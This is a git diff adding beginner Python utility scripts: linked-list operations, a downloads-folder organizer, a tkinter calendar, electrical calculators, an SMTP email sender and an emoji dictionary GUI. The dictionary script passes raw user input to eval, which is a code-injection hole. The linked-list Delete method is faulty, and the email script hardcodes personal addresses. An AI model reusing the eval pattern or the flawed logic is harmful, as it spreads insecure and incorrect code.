is None: + self.head = new_node + return + current = self.head + while current.next: + current = current.next + current.next = new_node + + def Delete(self, key): + temp = self.head + if temp is None: + return "Can't Delete!" + else: + if temp.data == key: + self.head = temp.next + temp = None + while temp is not None: + prev = temp + temp = temp.next + curr = temp.next + if temp.data == key: + prev.next = curr + return + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Linked_List() + L_list.Insert_At_End(1) + L_list.Insert_At_End(2) + L_list.Insert_At_End(3) + L_list.Insert_At_End(4) + L_list.Insert_At_End(5) + L_list.Insert_At_End(6) + L_list.Insert_At_End(7) + print("Linked List: ") + L_list.Display() + print("Deleted Linked List: ") + L_list.Delete(3) + L_list.Display() diff --git a/Detect_Remove_loop.py b/Detect_Remove_loop.py new file mode 100644 index 00000000000..6aad9f879b9 --- /dev/null +++ b/Detect_Remove_loop.py @@ -0,0 +1,65 @@ +class Node: + def __init__(self, data): + self.data = data + self.next = None + + +class Linked_List: + def __init__(self): + self.head = None + + def Insert_At_End(self, new_data): + new_node = Node(new_data) + if self.head is None: + self.head = new_node + return + current = self.head + while current.next: + current = current.next + current.next = new_node + + def Detect_and_Remove_Loop(self): + slow = fast = self.head + while slow and fast and fast.next: + slow = slow.next + fast = fast.next.next + if slow == fast: + self.Remove_loop(slow) + print("Loop Found") + return 1 + return 0 + + def Remove_loop(self, Loop_node): + ptr1 = self.head + while 1: + ptr2 = Loop_node + while ptr2.next != Loop_node and ptr2.next != ptr1: + ptr2 = ptr2.next + if ptr2.next == ptr1: + break + ptr1 = ptr1.next + ptr2.next = None + + def Display(self): + temp = self.head + while temp: + print(temp.data, "->", end=" ") + temp = temp.next + print("None") + + +if __name__ == "__main__": + L_list = Linked_List() + L_list.Insert_At_End(8) + L_list.Insert_At_End(5) + L_list.Insert_At_End(10) + L_list.Insert_At_End(7) + L_list.Insert_At_End(6) + L_list.Insert_At_End(11) + L_list.Insert_At_End(9) + print("Linked List with Loop: ") + L_list.Display() + print("Linked List without Loop: ") + L_list.head.next.next.next.next.next.next.next = L_list.head.next.next + L_list.Detect_and_Remove_Loop() + L_list.Display() diff --git a/Dictionary opperations (input,update a dict).py b/Dictionary opperations (input,update a dict).py new file mode 100644 index 00000000000..6a157b3578e --- /dev/null +++ b/Dictionary opperations (input,update a dict).py @@ -0,0 +1,21 @@ +# Update the value of dictionary written by the user... + +print("Dictinary opperations") + + +def Dictionary(Dict, key, value): + print("Original dictionary", Dict) + Dict[key] = value + print("Updated dictionary", Dict) + + +d = eval(input("Enter the dictionary")) +print("Dictionary", d, "\n") + +k = input("Enter the key to be updated") +if k in d.keys(): + v = input("Enter the updated value") + Dictionary(d, k, v) + +else: + print("Key not found") diff --git a/Divide Operator.py b/Divide Operator.py new file mode 100644 index 00000000000..7a2c8a2ed65 --- /dev/null +++ b/Divide Operator.py @@ -0,0 +1,49 @@ +class DivisionOperation: + INT_MAX = float("inf") + + def __init__(self, num1, num2): + self.num1 = num1 + self.num2 = num2 + + def perform_division(self): + if self.num1 == 0: + return 0 + if self.num2 == 0: + return self.INT_MAX + + neg_result = False + + # Handling negative numbers + if self.num1 < 0: + self.num1 = -self.num1 + + if self.num2 < 0: + self.num2 = -self.num2 + else: + neg_result = True + elif self.num2 < 0: + self.num2 = -self.num2 + neg_result = True + + quotient = 0 + + while self.num1 >= self.num2: + self.num1 -= self.num2 + quotient += 1 + + if neg_result: + quotient = -quotient + return quotient + + +# Driver program +num1 = 13 +num2 = 2 + +# Create a DivisionOperation object and pass num1, num2 as arguments +division_op = DivisionOperation(num1, num2) + +# Call the perform_division method of the DivisionOperation object +result = division_op.perform_division() + +print(result) diff --git a/Downloaded Files Organizer/browser_status.py b/Downloaded Files Organizer/browser_status.py new file mode 100644 index 00000000000..537269b62a3 --- /dev/null +++ b/Downloaded Files Organizer/browser_status.py @@ -0,0 +1,16 @@ +import psutil +from obs import watcher + +browsers = ["chrome.exe", "firefox.exe", "edge.exe", "iexplore.exe"] + +# ADD DOWNLOADS PATH HERE::: r is for raw string enter the path +# Example: path_to_watch=r"C:\Users\Xyz\Downloads" +# find downloads path . + + +path_to_watch = r" " + + +for browser in browsers: + while browser in (process.name() for process in psutil.process_iter()): + watcher(path_to_watch) diff --git a/Downloaded Files Organizer/move_to_directory.py b/Downloaded Files Organizer/move_to_directory.py new file mode 100644 index 00000000000..6bb0d522959 --- /dev/null +++ b/Downloaded Files Organizer/move_to_directory.py @@ -0,0 +1,58 @@ +import os +import shutil + +ext = { + "web": "css less scss wasm ", + "audio": "aac aiff ape au flac gsm it m3u m4a mid mod mp3 mpa pls ra s3m sid wav wma xm ", + "code": "c cc class clj cpp cs cxx el go h java lua m m4 php pl po py rb rs swift vb vcxproj xcodeproj xml diff patch html js ", + "slide": "ppt odp ", + "sheet": "ods xls xlsx csv ics vcf ", + "image": "3dm 3ds max bmp dds gif jpg jpeg png psd xcf tga thm tif tiff ai eps ps svg dwg dxf gpx kml kmz webp ", + "archiv": "7z a apk ar bz2 cab cpio deb dmg egg gz iso jar lha mar pea rar rpm s7z shar tar tbz2 tgz tlz war whl xpi zip zipx xz pak ", + "book": "mobi epub azw1 azw3 azw4 azw6 azw cbr cbz ", + "text": "doc docx ebook log md msg odt org pages pdf rtf rst tex txt wpd wps ", + "exec": "exe msi bin command sh bat crx ", + "font": "eot otf ttf woff woff2 ", + "video": "3g2 3gp aaf asf avchd avi drc flv m2v m4p m4v mkv mng mov mp2 mp4 mpe mpeg mpg mpv mxf nsv ogg ogv ogm qt rm rmvb roq srt svi vob webm wmv yuv ", +} + +for key, value in ext.items(): + value = value.split() + ext[key] = value + + +def add_to_dir(ex, src_path, path): + file_with_ex = os.path.basename(src_path) + file_without_ex = file_with_ex[: file_with_ex.find(ex) - 1] + for cat, extensions in ext.items(): + if ex in extensions: + os.chdir(path) + dest_path = path + "\\" + cat + if cat in os.listdir(): + try: + shutil.move(src_path, dest_path) + except shutil.Error: + renamed_file = rename(file_without_ex, ex, dest_path) + os.chdir(path) + os.rename(file_with_ex, renamed_file) + os.chdir(dest_path) + shutil.move(path + "\\" + renamed_file, dest_path) + else: + os.mkdir(cat) + + try: + shutil.move(src_path, dest_path) + except Exception as e: + print(e) + if os.path.exists(src_path): + os.unlink(src_path) + + +def rename(search, ex, dest_path): + count = 0 + os.chdir(dest_path) + for filename in os.listdir(): + if filename.find(search, 0, len(search) - 1): + count = count + 1 + + return search + str(count) + "." + ex diff --git a/Downloaded Files Organizer/obs.py b/Downloaded Files Organizer/obs.py new file mode 100644 index 00000000000..1489f257041 --- /dev/null +++ b/Downloaded Files Organizer/obs.py @@ -0,0 +1,22 @@ +def watcher(path): + # python script to observe changes in a folder + import time + import os + from watchdog.observers import Observer + from watchdog.events import FileSystemEventHandler + from move_to_directory import add_to_dir + + class Handler(FileSystemEventHandler): + def on_created(self, event): + if event.event_type == "created": + file_name = os.path.basename(event.src_path) + ext = os.path.splitext(event.src_path)[1] + time.sleep(2) + add_to_dir(ext[1:], event.src_path, path) + observer.stop() + + observer = Observer() + event_handler = Handler() + observer.schedule(event_handler, path, recursive=True) + observer.start() + observer.join() diff --git a/Downloaded Files Organizer/readme.md b/Downloaded Files Organizer/readme.md new file mode 100644 index 00000000000..910f2789d20 --- /dev/null +++ b/Downloaded Files Organizer/readme.md @@ -0,0 +1,18 @@ +# Downloaded files organizer using python +##### Operating System : Windows Only +### Modules used +1.Built-in Modules: +sys,os,time +2.External Modules: +download the following modules using pip: +psutil,watchdog +### How to use +1.After installing above modules,run browser_status.py.In browser_status.py makesure correct download path is given in this script. +2.Make sure that all the three python scripts reside in same directory + +### Working +Whenever a file is downloaded,when this script is running ,it automatically categorize the file based on the file extension +For example, if a python script is downloaded which has ".py" extension, it goes into "code" folder automatically. + +The file extensions and categories are collected from +https://github.com/dyne/file-extension-list diff --git a/Downloaded Files Organizer/requirements.txt b/Downloaded Files Organizer/requirements.txt new file mode 100644 index 00000000000..0f0482e781e --- /dev/null +++ b/Downloaded Files Organizer/requirements.txt @@ -0,0 +1,5 @@ +sys +os +time +psutil +watchdog diff --git a/Droplistmenu/GamesCalender.py b/Droplistmenu/GamesCalender.py new file mode 100644 index 00000000000..12a29d110e6 --- /dev/null +++ b/Droplistmenu/GamesCalender.py @@ -0,0 +1,62 @@ +from tkinter import * +from tkcalendar import Calendar +import tkinter as tk + + +window = tk.Tk() + +# Adjust size +window.geometry("600x500") + +gameList = ["Game List:"] + + +# Change the label text +def show(): + game = selected1.get() + " vs " + selected2.get() + " on " + cal.get_date() + gameList.append(game) + # print(gameList) + gameListshow = "\n".join(gameList) + # print(gameList) + label.config(text=gameListshow) + + +# Dropdown menu options +options = ["Team 1", "Team 2", "Team 3", "Team 4", "Team 5", "Team 6"] + +# datatype of menu text +selected1 = StringVar() +selected2 = StringVar() + +# initial menu text +selected1.set("Team 1") +selected2.set("Team 2") + +# Create Dropdown menu +L1 = Label(window, text="Visitor") +L1.place(x=40, y=35) +drop1 = OptionMenu(window, selected1, *options) +drop1.place(x=100, y=30) + +L2 = Label(window, text="VS") +L2.place(x=100, y=80) + +L3 = Label(window, text="Home") +L3.place(x=40, y=115) +drop2 = OptionMenu(window, selected2, *options) +drop2.place(x=100, y=110) + +# Add Calendar +cal = Calendar(window, selectmode="day", year=2022, month=12, day=1) + +cal.place(x=300, y=20) + + +# Create button, it will change label text +button = Button(window, text="Add to calender", command=show).place(x=100, y=200) + +# Create Label +label = Label(window, text=" ") +label.place(x=150, y=250) + +window.mainloop() diff --git a/Droplistmenu/README.md b/Droplistmenu/README.md new file mode 100644 index 00000000000..775116010a8 --- /dev/null +++ b/Droplistmenu/README.md @@ -0,0 +1 @@ +The code is to show using tkinter GUI to creat droplist and calender, and using .place() manage the positions. diff --git a/Electronics_Algorithms/Ohms_law.py b/Electronics_Algorithms/Ohms_law.py new file mode 100644 index 00000000000..b7adcbdf379 --- /dev/null +++ b/Electronics_Algorithms/Ohms_law.py @@ -0,0 +1,12 @@ +def ohms_law(v=0, i=0, r=0): + if v == 0: + result = i * r + return result + elif i == 0: + result = v / r + return result + elif r == 0: + result = v / i + return result + else: + return 0 diff --git a/Electronics_Algorithms/resistance.py b/Electronics_Algorithms/resistance.py new file mode 100644 index 00000000000..07cf335607c --- /dev/null +++ b/Electronics_Algorithms/resistance.py @@ -0,0 +1,40 @@ +def resistance_calculator( + material: str, lenght: float, section: float, temperature: float +): + """ + material is a string indicating the material of the wire + + lenght is a floating value indicating the lenght of the wire in meters + + diameter is a floating value indicating the diameter of the wire in millimeters + + temperature is a floating value indicating the temperature at which the wire is operating in °C + + Available materials: + - silver + - copper + - aluminium + - tungsten + - iron + - steel + - zinc + - solder""" + + materials = { + "silver": {"rho": 0.0163, "coefficient": 0.0038}, + "copper": {"rho": 0.0178, "coefficient": 0.00381}, + "aluminium": {"rho": 0.0284, "coefficient": 0.004}, + "tungsten": {"rho": 0.055, "coefficient": 0.0045}, + "iron": {"rho": 0.098, "coefficient": 0.006}, + "steel": {"rho": 0.15, "coefficient": 0.0047}, + "zinc": {"rho": 0.06, "coefficient": 0.0037}, + "solder": {"rho": 0.12, "coefficient": 0.0043}, + } + + rho_20deg = materials[material]["rho"] + temp_coefficient = materials[material]["coefficient"] + + rho = rho_20deg * (1 + temp_coefficient * (temperature - 20)) + resistance = rho * lenght / section + + return f"{resistance}Ω" diff --git a/Email-Automation.py b/Email-Automation.py new file mode 100644 index 00000000000..6b37f3e111c --- /dev/null +++ b/Email-Automation.py @@ -0,0 +1,26 @@ +import smtplib +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText + +fro_add = "dilipvijjapu@gmail.com" +to_add = "vijjapudilip@gmail.com" + +message = MIMEMultipart() +message["From"] = fro_add +message["To"] = ",".join(to_add) +message["subject"] = "Testinf mail" + +body = "Hai this is dilip ,How are you" + +message.attach(MIMEText(body, "plain")) + +email = " " +password = " " + +mail = smtplib.SMTP("smtp.gmail.com", 587) +mail.ehlo() +mail.starttls() +mail.login(email, password) +text = message.as_string() +mail.sendmail(fro_add, to_add, text) +mail.quit() diff --git a/Emoji Dictionary/Images/1.jpg b/Emoji Dictionary/Images/1.jpg new file mode 100644 index 00000000000..cdbb67ef31d Binary files /dev/null and b/Emoji Dictionary/Images/1.jpg differ diff --git a/Emoji Dictionary/Images/2.jpg b/Emoji Dictionary/Images/2.jpg new file mode 100644 index 00000000000..7ba5d21d7bc Binary files /dev/null and b/Emoji Dictionary/Images/2.jpg differ diff --git a/Emoji Dictionary/Images/3.jpg b/Emoji Dictionary/Images/3.jpg new file mode 100644 index 00000000000..ecff3d37a98 Binary files /dev/null and b/Emoji Dictionary/Images/3.jpg differ diff --git a/Emoji Dictionary/Images/4.jpg b/Emoji Dictionary/Images/4.jpg new file mode 100644 index 00000000000..052034e4d53 Binary files /dev/null and b/Emoji Dictionary/Images/4.jpg differ diff --git a/Emoji Dictionary/Images/5.jpg b/Emoji Dictionary/Images/5.jpg new file mode 100644 index 00000000000..8900e7aaf22 Binary files /dev/null and b/Emoji Dictionary/Images/5.jpg differ diff --git a/Emoji Dictionary/Images/6.jpg b/Emoji Dictionary/Images/6.jpg new file mode 100644 index 00000000000..2978fca2421 Binary files /dev/null and b/Emoji Dictionary/Images/6.jpg differ diff --git a/Emoji Dictionary/Images/7.jpg b/Emoji Dictionary/Images/7.jpg new file mode 100644 index 00000000000..ae422ae7de4 Binary files /dev/null and b/Emoji Dictionary/Images/7.jpg differ diff --git a/Emoji Dictionary/Images/8.jpg b/Emoji Dictionary/Images/8.jpg new file mode 100644 index 00000000000..cfd89e14408 Binary files /dev/null and b/Emoji Dictionary/Images/8.jpg differ diff --git a/Emoji Dictionary/Images/9.jpg b/Emoji Dictionary/Images/9.jpg new file mode 100644 index 00000000000..2e0dd4466e9 Binary files /dev/null and b/Emoji Dictionary/Images/9.jpg differ diff --git a/Emoji Dictionary/QT_GUI.py b/Emoji Dictionary/QT_GUI.py new file mode 100644 index 00000000000..ef3f6f0cf40 --- /dev/null +++ b/Emoji Dictionary/QT_GUI.py @@ -0,0 +1,153 @@ +# -*- coding: utf-8 -*- + +import sys +from PyQt5.QtCore import * +from PyQt5.QtGui import * +from PyQt5.QtWidgets import * +from PyQt5 import uic +from emoji import demojize +import os + + +class MainWindow(QMainWindow): + def __init__(self): + super(MainWindow, self).__init__() + + # Load the UI file + uic.loadUi(os.path.join(os.path.dirname(__file__), "QT_GUI.ui"), self) + self.pushButton_4.clicked.connect(self.close) + self.pushButton_2.clicked.connect(lambda: search_emoji()) + self.pushButton_3.clicked.connect(lambda: clear_text()) + cells = [ + [ + "🐒", + "🐕", + "🐎", + "🐪", + "🐁", + "🐘", + "🦘", + "🦈", + "🐓", + "🐝", + "👀", + "🦴", + "👩🏿", + "‍🤝", + "🧑", + "🏾", + "👱🏽", + "‍♀", + "🎞", + "🎨", + "⚽", + ], + [ + "🍕", + "🍗", + "🍜", + "☕", + "🍴", + "🍉", + "🍓", + "🌴", + "🌵", + "🛺", + "🚲", + "🛴", + "🚉", + "🚀", + "✈", + "🛰", + "🚦", + "🏳", + "‍🌈", + "🌎", + "🧭", + ], + [ + "🔥", + "❄", + "🌟", + "🌞", + "🌛", + "🌝", + "🌧", + "🧺", + "🧷", + "🪒", + "⛲", + "🗼", + "🕌", + "👁", + "‍🗨", + "💬", + "™", + "💯", + "🔕", + "💥", + "❤", + ], + ["😀", "🥰", "😴", "🤓", "🤮", "🤬", "😨", "🤑", "😫", "😎"], + ] + + def emoji_wight_btn(): + if self.emoji_widget.isVisible(): + self.emoji_widget.hide() + else: + self.emoji_widget.show() + + def search_emoji(): + word = self.lineEdit.text() + print(f"Field Text: {word}") + if word == "": + self.textEdit.setText("You have entered no emoji.") + else: + means = demojize(word) + self.textEdit.setText( + "Meaning of Emoji : " + + str(word) + + "\n\n" + + means.replace("::", ":\n: ") + ) + + def add_input_emoji(emoji): + self.lineEdit.setText(self.lineEdit.text() + emoji) + + def clear_text(): + self.lineEdit.setText("") + self.textEdit.setText("") + + self.emoji_buttons = [] + self.emoji_layout = QGridLayout() + self.emoji_widget = QWidget() + self.emoji_widget.setLayout(self.emoji_layout) + self.frame_2.layout().addWidget(self.emoji_widget) + self.emoji_widget.hide() + self.pushButton.clicked.connect(lambda: emoji_wight_btn()) + + for row_idx, row in enumerate(cells): + for col_idx, emoji in enumerate(row): + button = QPushButton(emoji) + button.setFixedSize(40, 40) + button.setFont(QFont("Arial", 20)) + button.setStyleSheet(""" + QPushButton { + background-color: #ffffff; + border: 1px solid #e0e0e0; + border-radius: 5px; + } + QPushButton:hover { + background-color: #f0f0f0; + } + """) + button.clicked.connect(lambda checked, e=emoji: add_input_emoji(e)) + self.emoji_layout.addWidget(button, row_idx, col_idx) + self.emoji_buttons.append(button) + + +if __name__ == "__main__": + app = QApplication(sys.argv) + window = MainWindow() + window.show() + sys.exit(app.exec_()) diff --git a/Emoji Dictionary/QT_GUI.ui b/Emoji Dictionary/QT_GUI.ui new file mode 100644 index 00000000000..49267698e80 --- /dev/null +++ b/Emoji Dictionary/QT_GUI.ui @@ -0,0 +1,411 @@ + + + MainWindow + + + + 0 + 0 + 944 + 638 + + + + MainWindow + + + background-color: #f0f2f5; + + + + background-color: transparent; + + + + 8 + + + 10 + + + 10 + + + 10 + + + 10 + + + + + background-color: #ffffff; + border-radius: 10px; + padding: 15px; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 30 + + + + color: #1a73e8; + padding: 10px; + + + EMOJI DICTIONARY + + + Qt::AlignCenter + + + + + + + + + + + 0 + 0 + + + + + 0 + 0 + + + + background-color: transparent; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 20 + + + + color: #333333; + padding: 10px; + + + Enter any Emoji you want to search... + + + + + + + background-color: #ffffff; + border-radius: 8px; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 14 + 50 + false + + + + QLineEdit { + border: 1px solid #dcdcdc; + border-radius: 5px; + padding: 8px; + font-size: 14px; + background-color: #fafafa; + } + QLineEdit:focus { + border-color: #1a73e8; + background-color: #ffffff; + } + + + + + + + + + + true + + + + 14 + 62 + true + + + + QPushButton { + background-color: #1a73e8; + color: white; + border-radius: 5px; + padding: 8px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #1557b0; + } + QPushButton:pressed { + background-color: #104080; + } + + + Emoji Board + + + + + + + + + + background-color: transparent; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 14 + 62 + true + + + + QPushButton { + background-color: #34c759; + color: white; + border-radius: 5px; + padding: 8px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #2ea44f; + } + QPushButton:pressed { + background-color: #26833b; + } + + + 🔍 Search + + + + + + + + 14 + 62 + true + + + + QPushButton { + background-color: #ff3b30; + color: white; + border-radius: 5px; + padding: 8px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #cc2f27; + } + QPushButton:pressed { + background-color: #99231f; + } + + + 🧹 Clear + + + + + + + + + + + + + + 0 + 0 + + + + background-color: #ffffff; + border-radius: 10px; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + 16 + 50 + false + + + + color: #333333; + padding-bottom: 10px; + + + Meaning... + + + + + + + + 14 + + + + + +QTextEdit { + border: 1px solid #dcdcdc; + border-radius: 5px; + padding: 10px; + font-size: 14px; + background-color: #fafafa; + } + QTextEdit:focus { + border-color: #1a73e8; + background-color: #ffffff; + } + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'MS Shell Dlg 2'; font-size:14px; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:7.8pt;"><br /></p></body></html> + + + + + + + + 140 + 40 + + + + + 14 + 62 + true + + + + QPushButton { + background-color: #ff9500; + color: white; + border-radius: 5px; + padding: 10px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #cc7700; + } + QPushButton:pressed { + background-color: #995900; + } + + + EXIT + + + + + + + + + + + + diff --git a/Emoji Dictionary/README.md b/Emoji Dictionary/README.md new file mode 100644 index 00000000000..ef821174fce --- /dev/null +++ b/Emoji Dictionary/README.md @@ -0,0 +1,49 @@ +## ✔ EMOJI DICTIONARY +- An "Emoji Dictionary" created in python with tkinter gui. +- Using this dictionary, user will be able to search the meaning of any emoji user want yo search. +- Here user can also search the meaning of multiple emoji at a time. + +**** + +### REQUIREMENTS : +- python 3 +- tkinter module +- from tkinter messagebox module +- emoji +- opencv + + +### How this Script works : +- User just need to download the file and run the emoji_dictionary.py on their local system. +- Now on the main window of the application the user will be able to see an entry box where user can enter any emoji using virtual keypad. +- After user has entered one or more emoji using the virtual keypad, when user clicks on the search button, user will be able to see the meaning of the emoji entered. +- Also if user has not entered emoji in input entry, and tries to search, he will get the error message like "You have entered no emoji". +- Also there is a clear button, clicking on which user can clear both the input and output area. +- Also there is an exit button, clicking on which exit dialog box appears asking for the permission of the user for closing the window. + +### Purpose : +- This scripts helps user to easily get the meaning of any emoji. + +### Compilation Steps : +- Install tkinter, emoji +- After that download the code file, and run emoji_dictionary.py on local system. +- Then the script will start running and user can explore it by entering any emoji and searching it. + +### SCREENSHOTS : + +

+
+
+
+
+
+
+
+
+
+

+ +**** + +### Name : +- Akash Ramanand Rajak diff --git a/Emoji Dictionary/emoji_dictionary.py b/Emoji Dictionary/emoji_dictionary.py new file mode 100644 index 00000000000..043160a8a75 --- /dev/null +++ b/Emoji Dictionary/emoji_dictionary.py @@ -0,0 +1,349 @@ +# Emoji Dictionary + +# ----------------------------------------------------------------------------------------------------- +from tkinter import * # importing the necessary libraries +import tkinter.messagebox as mbox +import tkinter as tk # imported tkinter as tk +import emoji + +# ----------------------------------------------------------------------------------------------- + + +class Keypad(tk.Frame): + cells = [ + ["😀", "🥰", "😴", "🤓", "🤮", "🤬", "😨", "🤑", "😫", "😎"], + [ + "🐒", + "🐕", + "🐎", + "🐪", + "🐁", + "🐘", + "🦘", + "🦈", + "🐓", + "🐝", + "👀", + "🦴", + "👩🏿", + "‍🤝", + "🧑", + "🏾", + "👱🏽", + "‍♀", + "🎞", + "🎨", + "⚽", + ], + [ + "🍕", + "🍗", + "🍜", + "☕", + "🍴", + "🍉", + "🍓", + "🌴", + "🌵", + "🛺", + "🚲", + "🛴", + "🚉", + "🚀", + "✈", + "🛰", + "🚦", + "🏳", + "‍🌈", + "🌎", + "🧭", + ], + [ + "🔥", + "❄", + "🌟", + "🌞", + "🌛", + "🌝", + "🌧", + "🧺", + "🧷", + "🪒", + "⛲", + "🗼", + "🕌", + "👁", + "‍🗨", + "💬", + "™", + "💯", + "🔕", + "💥", + "❤", + ], + ] + + def __init__(self, *args, **kwargs): + super().__init__(*args, **kwargs) + + self.target = None + self.memory = "" + + for y, row in enumerate(self.cells): + for x, item in enumerate(row): + b = tk.Button( + self, + text=item, + command=lambda text=item: self.append(text), + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + b.grid(row=y, column=x, sticky="news") + + x = tk.Button( + self, + text="Space", + command=self.space, + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + x.grid(row=0, column=10, columnspan="2", sticky="news") + + x = tk.Button( + self, + text="tab", + command=self.tab, + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + x.grid(row=0, column=12, columnspan="2", sticky="news") + + x = tk.Button( + self, + text="Backspace", + command=self.backspace, + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + x.grid(row=0, column=14, columnspan="3", sticky="news") + + x = tk.Button( + self, + text="Clear", + command=self.clear, + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + x.grid(row=0, column=17, columnspan="2", sticky="news") + + x = tk.Button( + self, + text="Hide", + command=self.hide, + font=("Arial", 14), + bg="yellow", + fg="blue", + borderwidth=3, + relief="raised", + ) + x.grid(row=0, column=19, columnspan="2", sticky="news") + + def get(self): + if self.target: + return self.target.get() + + def append(self, text): + if self.target: + self.target.insert("end", text) + + def clear(self): + if self.target: + self.target.delete(0, END) + + def backspace(self): + if self.target: + text = self.get() + text = text[:-1] + self.clear() + self.append(text) + + def space(self): + if self.target: + text = self.get() + text = text + " " + self.clear() + self.append(text) + + def tab(self): # 5 spaces + if self.target: + text = self.get() + text = text + " " + self.clear() + self.append(text) + + def copy(self): + # TODO: copy to clipboad + if self.target: + self.memory = self.get() + self.label["text"] = "memory: " + self.memory + print(self.memory) + + def paste(self): + # TODO: copy from clipboad + if self.target: + self.append(self.memory) + + def show(self, entry): + self.target = entry + + self.place(relx=0.5, rely=0.6, anchor="c") + + def hide(self): + self.target = None + + self.place_forget() + + +# function defined th=o clear both the input text and output text -------------------------------------------------- +def clear_text(): + inputentry.delete(0, END) + outputtxt.delete("1.0", "end") + + +# function to search emoji +def search_emoji(): + word = inputentry.get() + if word == "": + outputtxt.insert(END, "You have entered no emoji.") + else: + means = emoji.demojize(word) + outputtxt.insert(END, "Meaning of Emoji : " + str(word) + "\n\n" + means) + + +# main window created +window = tk.Tk() +window.title("Emoji Dictionary") +window.geometry("1000x700") + +# for writing Dictionary label, at the top of window +dic = tk.Label( + text="EMOJI DICTIONARY", font=("Arial", 50, "underline"), fg="magenta" +) # same way bg +dic.place(x=160, y=10) + +start1 = tk.Label( + text="Enter any Emoji you want to search...", font=("Arial", 30), fg="green" +) # same way bg +start1.place(x=160, y=120) + +myname = StringVar(window) +firstclick1 = True + + +def on_inputentry_click(event): + """function that gets called whenever entry1 is clicked""" + global firstclick1 + + if firstclick1: # if this is the first time they clicked it + firstclick1 = False + inputentry.delete(0, "end") # delete all the text in the entry + + +# Taking input from TextArea +# inputentry = Entry(window,font=("Arial", 35), width=33, border=2) +inputentry = Entry( + window, font=("Arial", 35), width=28, border=2, bg="light yellow", fg="brown" +) +inputentry.place(x=120, y=180) + +# # Creating Search Button +Button( + window, + text="🔍 SEARCH", + command=search_emoji, + font=("Arial", 20), + bg="light green", + fg="blue", + borderwidth=3, + relief="raised", +).place(x=270, y=250) + +# # creating clear button +Button( + window, + text="🧹 CLEAR", + command=clear_text, + font=("Arial", 20), + bg="orange", + fg="blue", + borderwidth=3, + relief="raised", +).place(x=545, y=250) + +# meaning label +start1 = tk.Label(text="Meaning...", font=("Arial", 30), fg="green") # same way bg +start1.place(x=160, y=340) + +# # Output TextBox Creation +outputtxt = tk.Text( + window, + height=7, + width=57, + font=("Arial", 17), + bg="light yellow", + fg="brown", + borderwidth=3, + relief="solid", +) +outputtxt.place(x=120, y=400) + + +# function for exiting +def exit_win(): + if mbox.askokcancel("Exit", "Do you want to exit?"): + window.destroy() + + +# # creating exit button +Button( + window, + text="❌ EXIT", + command=exit_win, + font=("Arial", 20), + bg="red", + fg="black", + borderwidth=3, + relief="raised", +).place(x=435, y=610) + +keypad = Keypad(window) + +# # creating speech to text button +v_keypadb = Button( + window, + text="⌨", + command=lambda: keypad.show(inputentry), + font=("Arial", 18), + bg="light yellow", + fg="green", + borderwidth=3, + relief="raised", +).place(x=870, y=183) + +window.protocol("WM_DELETE_WINDOW", exit_win) +window.mainloop() diff --git a/Emoji Dictionary/requirements.txt b/Emoji Dictionary/requirements.txt new file mode 100644 index 00000000000..840507a2445 --- /dev/null +++ b/Emoji Dictionary/requirements.txt @@ -0,0 +1,3 @@ +tkinter +messagebox +emoji diff --git a/Emoji Dictionary/untitled.ui b/Emoji Dictionary/untitled.ui new file mode 100644 index 00000000000..a6753b7dd19 --- /dev/null +++ b/Emoji Dictionary/untitled.ui @@ -0,0 +1,406 @@ + + + MainWindow + + + + 0 + 0 + 948 + 527 + + + + MainWindow + + + background-color: #f0f2f5; + + + + background-color: transparent; + + + + 8 + + + 10 + + + 10 + + + 10 + + + 10 + + + + + background-color: #ffffff; + border-radius: 10px; + padding: 15px; + box-shadow: 0 2px 4px rgba(0,0,0,0.1); + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 30 + + + + color: #1a73e8; + padding: 10px; + + + EMOJI DICTIONARY + + + Qt::AlignCenter + + + + + + + + + + + 0 + 0 + + + + + 0 + 0 + + + + background-color: transparent; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + 0 + + + 0 + + + 0 + + + 0 + + + 0 + + + + + + 20 + + + + color: #333333; + padding: 10px; + + + Enter any Emoji you want to search... + + + + + + + background-color: #ffffff; +border-radius: 8px; + + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + -1 + + + + QLineEdit { + border: 1px solid #dcdcdc; + border-radius: 5px; + padding: 8px; + font-size: 14px; + background-color: #fafafa; + } + QLineEdit:focus { + border-color: #1a73e8; + background-color: #ffffff; + } + + + + + + + true + + + + -1 + 62 + true + + + + QPushButton { + background-color: #1a73e8; + color: white; + border-radius: 5px; + padding: 8px; + font-size: 14px; + font-weight: 500; + } + QPushButton:hover { + background-color: #1557b0; + } + QPushButton:pressed { + background-color: #104080; + } + + + Emoji Board + + + + + + + + + + background-color: transparent; + + + QFrame::StyledPanel + + + QFrame::Raised + + + + + + + -1 + 62 + true + + + + QPushButton { + background-color: #34c759; + color: white; + border-radius: 5px; + padding: 8px; 